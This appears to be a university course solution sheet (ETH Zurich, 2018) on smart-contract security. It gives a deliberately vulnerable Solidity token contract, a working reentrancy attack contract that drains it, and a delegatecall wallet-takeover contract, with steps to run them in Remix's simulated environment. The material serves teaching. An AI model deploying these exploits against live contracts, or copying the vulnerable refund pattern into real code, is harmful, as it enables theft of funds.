Solution 5

Smart Contracts

Program Analysis for System Security and Reliability 2018
ETH Zurich

April 25, 2018

1 Reentrancy Attack

Task 1 The completed smart contract is:

```
contract Token {

  mapping(address => uint) balances;
  uint tokenPrice = 10**18; // 1 ETH = 1 token = 10^18 Wei

  // The sender receives tokens based on the amount of
  // ether send by the transaction
  function () public payable {
    uint amount = msg.value;
    uint tokens = amount / tokenPrice;
    balances[msg.sender] += tokens;
  }

  // Returns the amount of tokens owned by the sender
  function balanceOf(address tokenHolder) public returns(uint){
    return balances[tokenHolder];
  }

  // Sets the sender's balance to 0
  // Refunds the sender based on the sender's balance
  function sell() public {
    // refund sender via call.value()()
    uint tokens = balances[msg.sender];
    require(msg.sender.call.value(tokens * tokenPrice)());
    // update balance
    balances[msg.sender] = 0;
```

```
  }

  // Returns the amount of ether owned by the contract
  function eth() public returns(uint) {
      return this.balance;
  }

}
```

Task 2 Deploy your contract in Remix:

`https://remix.ethereum.org`

You can use the JavaScript VM environment to simulate the smart contract in the browser. Deploy the `Token` smart contract. Let three different users (i.e., addresses) buy tokens for 10 ETH each.

- Visit `https://remix.ethereum.org`

- Paste the contract into the code editor and go to the *Run* tab.

- Select the JavaScript VM in the Environment field and click the *Create* button to deploy the contract.

- Select an account from the *Account* field, select 10 Ethere for *Value*, and select the *fallback()* method by clicking on its button. Repeat this step for 2 more accounts.

Task 3 The attacker's smart contract is:

```
import "browser/Token.sol";

contract Attack {
    address attacker;
    Token token; // address of the token contract
    uint recursiveCalls = 2;

    function Attack(address _attacker, Token _token) {
        attacker = _attacker;
        token = _token;
    }

    function buy() {
```

```
        token.call.value(this.balance)();
    }

    function sell() {
        token.sell();
    }

    // Deposit ether to the contract
    // Attack the token
    function () public payable {
        if (msg.sender == address(token)) {
            if (recursiveCalls > 0) {
                recursiveCalls--;
                sell();
            }
        }
    }

    // Withdraw the ether stored in the contract
    function withdraw() {
        if (msg.sender == attacker) {
            attacker.transfer(this.balance);
        }
    }
}
```

To conduct the attack:

- Click on the *plus* button on the top left to create a new contract with some name.

- Paste the contract and click deploy it by clicking on the *Create button*. In the constructor field, you will need to paste the address of the attacker (select one of the addresses in the account drop down box) and the address of the token contract (you can copy it). The argument should look like
`"0xca35b7d915458ef540ade6068dfe2f44e8fa733c",`
`"0x692a70d2e424a56d2c6c27aa97d1a86395877b3a"`

- Deposit 10 ether to the attacker contract by clicking an address and selecting the fallback function.

- Buy tokens for 10 using the attacker contract by clicking the on the *buy* function

- Sell the attacker contract's tokens by clicking on the *sell* function

- Click on the withdraw function. The attacker's address must have close to 120 Ether now.

2 Delegatecall Attack

Task 1 The attacker's contract is:

```
contract AttackerWallet {
    function AttackerWallet(address attacker, address vulnerableWallet) {
        vulnerableWallet.call(bytes4(sha3("initWallet(address)")), attacker);
    }
}
```

Task 2 - Deploy the two wallet and wallet library contracts

- Deploy the attacker wallet by providing the address of the attacker and the address of the vulnerable wallet. Select a different attacker address than the one of the wallet.

- Confirm that the attacker can withdraw ether from the vulnerable wallet.